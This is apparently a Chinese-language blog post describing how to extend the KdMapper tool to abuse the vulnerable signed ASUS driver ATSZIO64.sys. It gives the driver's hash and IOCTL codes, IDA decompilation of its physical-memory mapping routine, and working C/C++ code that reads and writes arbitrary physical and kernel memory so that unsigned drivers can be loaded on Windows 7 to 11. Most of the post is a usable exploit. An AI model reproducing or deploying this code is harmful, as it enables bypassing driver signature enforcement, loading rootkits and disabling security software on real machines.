KdMapper扩展实现之ASUS(ATSZIO64.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | ATSZIO64.sys |
时间戳 | 541ACA3E |
MD5 | DBF11F3FAD1DB3EB08E2EE24B5EBFB95 |
文件版本 | 0.2.1.7 |
设备名称 | \\.\ATSZIO |
映射物理内存 | 0x8807200C |
取消映射物理内存 | 0x88072010 |
Windows 7 | 支持 |
Windows 10 | 22H2(包含)及以下 |
Windows 11 | 22621 (包含)及以下 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140006920;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1400068D0;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_1400068D0;
DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)sub_1400068D0;
DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)sub_1400068D0;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
return CreateDevice(DriverObject);
}
3.2 创建设备和符号链接
__int64 __fastcall CreateDevice(struct _DRIVER_OBJECT* a1)
{
__int64 result; // rax
NTSTATUS v2; // [rsp+40h] [rbp-88h]
NTSTATUS v3; // [rsp+40h] [rbp-88h]
char* v4; // [rsp+48h] [rbp-80h]
PDEVICE_OBJECT DeviceObject; // [rsp+50h] [rbp-78h] BYREF
PCWSTR SourceString; // [rsp+58h] [rbp-70h]
__int64 v7; // [rsp+60h] [rbp-68h]
_UNICODE_STRING DestinationString; // [rsp+68h] [rbp-60h] BYREF
wchar_t* v9; // [rsp+78h] [rbp-50h]
_UNICODE_STRING SymbolicLinkName; // [rsp+80h] [rbp-48h] BYREF
_UNICODE_STRING DeviceName; // [rsp+90h] [rbp-38h] BYREF
_UNICODE_STRING EventName; // [rsp+A0h] [rbp-28h] BYREF
RtlInitUnicodeString(&DestinationString, aDeviceAtszio);
qmemcpy(&DeviceName, &DestinationString, sizeof(DeviceName));
v2 = IoCreateDevice(a1, 0x38u, &DeviceName, 0x8807u, 0, 0, &DeviceObject);
if (v2 < 0)
return (unsigned int)v2;
DeviceObject->Flags |= 4u;
v4 = (char*)DeviceObject->DeviceExtension;
*(_QWORD*)v4 = DeviceObject;
qmemcpy(v4 + 8, &DestinationString, 0x10ui64);
*((_QWORD*)v4 + 6) = 0i64;
RtlInitUnicodeString(&EventName, aBasenamedobjec);
*((_QWORD*)v4 + 5) = IoCreateSynchronizationEvent(&EventName, (PHANDLE)v4 + 6);
if (*((_QWORD*)v4 + 5))
{
SourceString = (PCWSTR)ExAllocatePool(NonPagedPool, 0x16ui64);
memset((void*)SourceString, 0, 0x16ui64);
v9 = aAtszio;
v7 = -1i64;
do
++v7;
while (v9[v7]);
qmemcpy((void*)SourceString, aAtszio, 2 * v7 + 2);
P = (PVOID)SourceString;
RtlInitUnicodeString(&SymbolicLinkName, SourceString);
qmemcpy(v4 + 24, &SymbolicLinkName, 0x10ui64);
v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (v3 >= 0)
{
result = 0i64;
}
else
{
IoDeleteDevice(DeviceObject);
result = (unsigned int)v3;
}
}
else
{
IoDeleteDevice(DeviceObject);
result = 0xC0000001i64;
}
return result;
}
其中 aDeviceAtszio 和 aAtszio 如下定义:
INIT:0000000140006240 aDeviceAtszio: ; DATA XREF: sub_140006008+1D↑o
INIT:0000000140006240 text "UTF-16LE", '\Device\ATSZIO',0
INIT:000000014000625E align 20h
INIT:0000000140006260 ; WCHAR aBasenamedobjec
INIT:0000000140006260 aBasenamedobjec: ; DATA XREF: sub_140006008+6D↑o
INIT:0000000140006260 text "UTF-16LE", '\BaseNamedObjects\WaitForIoAccess',0
INIT:00000001400062A4 align 10h
INIT:00000001400062B0 aAtszio: ; DATA XREF: sub_140006008+C5↑o
INIT:00000001400062B0 text "UTF-16LE", '\??\ATSZIO',0
INIT:00000001400062C6 align 8
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
ULONG nInputBufferLength; // [rsp+48h] [rbp-230h]
int Buffer; // [rsp+84h] [rbp-1F4h] BYREF
PATSZIO_PHYSICAL_MEMORY_INFO pMapPhysicalMemoryInfo; // [rsp+F8h] [rbp-180h]
ULONG nOutputBufferLength; // [rsp+154h] [rbp-124h]
IO_STACK_LOCATION* pIosp; // [rsp+188h] [rbp-F0h]
unsigned __int64 v54; // [rsp+190h] [rbp-E8h]
ULONG nIoControlCode; // [rsp+198h] [rbp-E0h]
PVOID BaseAddress; // [rsp+1A0h] [rbp-D8h]
_ATSZIO_PHYSICAL_MEMORY_INFO* pUnmapPhysicalMemoryInfo; // [rsp+1D0h] [rbp-A8h]
union _LARGE_INTEGER liOffsetMap; // [rsp+1E8h] [rbp-90h]
PVOID pAddressMapped; // [rsp+1F8h] [rbp-80h] BYREF
void* hMapSection; // [rsp+208h] [rbp-70h] BYREF
PVOID pMappedAddress; // [rsp+218h] [rbp-60h]
HANDLE hUnMapSection; // [rsp+228h] [rbp-50h]
pIrp->IoStatus.Status = 0;
pIrp->IoStatus.Information = 0i64;
pIosp = GetCurrentStackLocation(pIrp);
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
......
case 0x8807200C:
pMapPhysicalMemoryInfo = (PATSZIO_PHYSICAL_MEMORY_INFO)pIrp->AssociatedIrp.MasterIrp;
pMapPhysicalMemoryInfo->MappedBaseAddress = 0i64;
liOffsetMap.QuadPart = pMapPhysicalMemoryInfo->Offset.QuadPart & 0xFFFFFFFFFFFFF000ui64;
if (nInputBufferLength)
{
MapPhysicalMemory(liOffsetMap, pMapPhysicalMemoryInfo->ViewSize, &pAddressMapped, &hMapSection);
pMapPhysicalMemoryInfo->MappedBaseAddress = pAddressMapped;
pMapPhysicalMemoryInfo->SectionHandle = hMapSection;
pIrp->IoStatus.Information = nOutputBufferLength;
}
else
{
pIrp->IoStatus.Status = 0xC000000D;
}
break;
case 0x88072010:
pUnmapPhysicalMemoryInfo = (_ATSZIO_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.MasterIrp;
pMappedAddress = pUnmapPhysicalMemoryInfo->MappedBaseAddress;
hUnMapSection = pUnmapPhysicalMemoryInfo->SectionHandle;
ntStatusV7 = UnmapPhysicalMemory(hUnMapSection, pMappedAddress);
pIrp->IoStatus.Information = 0i64;
pIrp->IoStatus.Status = ntStatusV7;
break;
......
LABEL_147:
ntStatus = pIrp->IoStatus.Status;
IofCompleteRequest(pIrp, 0);
return ntStatus;
}
其中映射物理内存 ControlCode 为 0x8807200C,取消映射为 0x88072010。
3.4 映射物理内存
__int64 __fastcall MapPhysicalMemory(union _LARGE_INTEGER PhysicalAddress, unsigned int nViewSize, PVOID* pAddressMapped, void** hMapSection)
{
__int64 result; // rax
NTSTATUS ntStatus; // [rsp+50h] [rbp-98h]
NTSTATUS ntStatusV6; // [rsp+50h] [rbp-98h]
PVOID BaseAddress; // [rsp+58h] [rbp-90h] BYREF
union _LARGE_INTEGER SectionOffset; // [rsp+60h] [rbp-88h] BYREF
ULONG_PTR ViewSize; // [rsp+68h] [rbp-80h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+70h] [rbp-78h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+A0h] [rbp-48h] BYREF
PVOID Object; // [rsp+B0h] [rbp-38h] BYREF
RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 512;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ntStatus = ZwOpenSection(hMapSection, 7u, &ObjectAttributes);
BaseAddress = 0i64;
ViewSize = nViewSize;
SectionOffset = PhysicalAddress;
if (ntStatus < 0)
{
*pAddressMapped = 0i64;
result = (unsigned int)ntStatus;
}
else
{
ntStatusV6 = ObReferenceObjectByHandle(*hMapSection, 7u, 0i64, 0, &Object, 0i64);
if (ntStatusV6 < 0)
{
ZwClose(*hMapSection);
*pAddressMapped = 0i64;
}
else
{
ntStatusV6 = ZwMapViewOfSection(
*hMapSection,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
nViewSize,
&SectionOffset,
&ViewSize,
ViewShare,
0,
4u);
ZwClose(*hMapSection);
*pAddressMapped = BaseAddress;
}
result = (unsigned int)ntStatusV6;
}
return result;
}
其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
3.5 取消映射物理内存
__int64 __fastcall UnmapPhysicalMemory(void* hSection, void* pUnmapAddress)
{
NTSTATUS ntStatus; // [rsp+20h] [rbp-18h]
ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pUnmapAddress);
if (ntStatus < 0)
ZwClose(hSection);
return (unsigned int)ntStatus;
}
3.6 ATSZIO_PHYSICAL_MEMORY_INFO结构
00000000 ATSZIO_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, mappedto_381)
00000000 Unused0 dq ?
00000008 SectionHandle dq ?
00000010 ViewSize dd ?
00000014 Padding0 dd ?
00000018 Offset _LARGE_INTEGER ?
00000020 MappedBaseAddress dq ?
00000028 ATSZIO_PHYSICAL_MEMORY_INFO ends
4. 代码实现
4.1 .h文件
#pragma warning(push)
#pragma warning(disable:4324) // structure padded due to __declspec(align())
typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)_ATSZIO_PHYSICAL_MEMORY_INFO {
ULONG_PTR Unused0;
HANDLE SectionHandle;
ULONG ViewSize;
ULONG Padding0;
ULARGE_INTEGER Offset;
PVOID MappedBaseAddress;
} ATSZIO_PHYSICAL_MEMORY_INFO, * PATSZIO_PHYSICAL_MEMORY_INFO;
#pragma warning(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define ATSZIO_DEVICE_TYPE (DWORD)0x8807
#define ATSZIO_MAP_SECTION_FUNCID (DWORD)0x803
#define ATSZIO_UNMAP_SECTION_FUNCID (DWORD)0x804
#define IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY \
CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x8807200C
#define IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY \
CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x88072010
4.2 .c文件
NTSTATUS asus_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL asus_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
PVOID asus_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
_Out_ HANDLE* SectionHandle
)
{
ULONG_PTR offset;
ULONG mapSize;
ATSZIO_PHYSICAL_MEMORY_INFO request;
*SectionHandle = NULL;
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.Offset.QuadPart = offset;
request.ViewSize = mapSize;
if (SuperCallDriver(DeviceHandle,
IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request)))
{
*SectionHandle = request.SectionHandle;
return request.MappedBaseAddress;
}
return NULL;
}
VOID asus_driver::SuperUnmapMemory(
_In_ HANDLE DeviceHandle,
_In_ PVOID SectionToUnmap,
_In_ HANDLE SectionHandle
)
{
ATSZIO_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.SectionHandle = SectionHandle;
request.MappedBaseAddress = SectionToUnmap;
SuperCallDriver(DeviceHandle,
IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
HANDLE sectionHandle = NULL;
//
// Map physical memory section.
//
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes,
§ionHandle);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection,
sectionHandle);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
5. 运行效果
Windows 11 22621 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。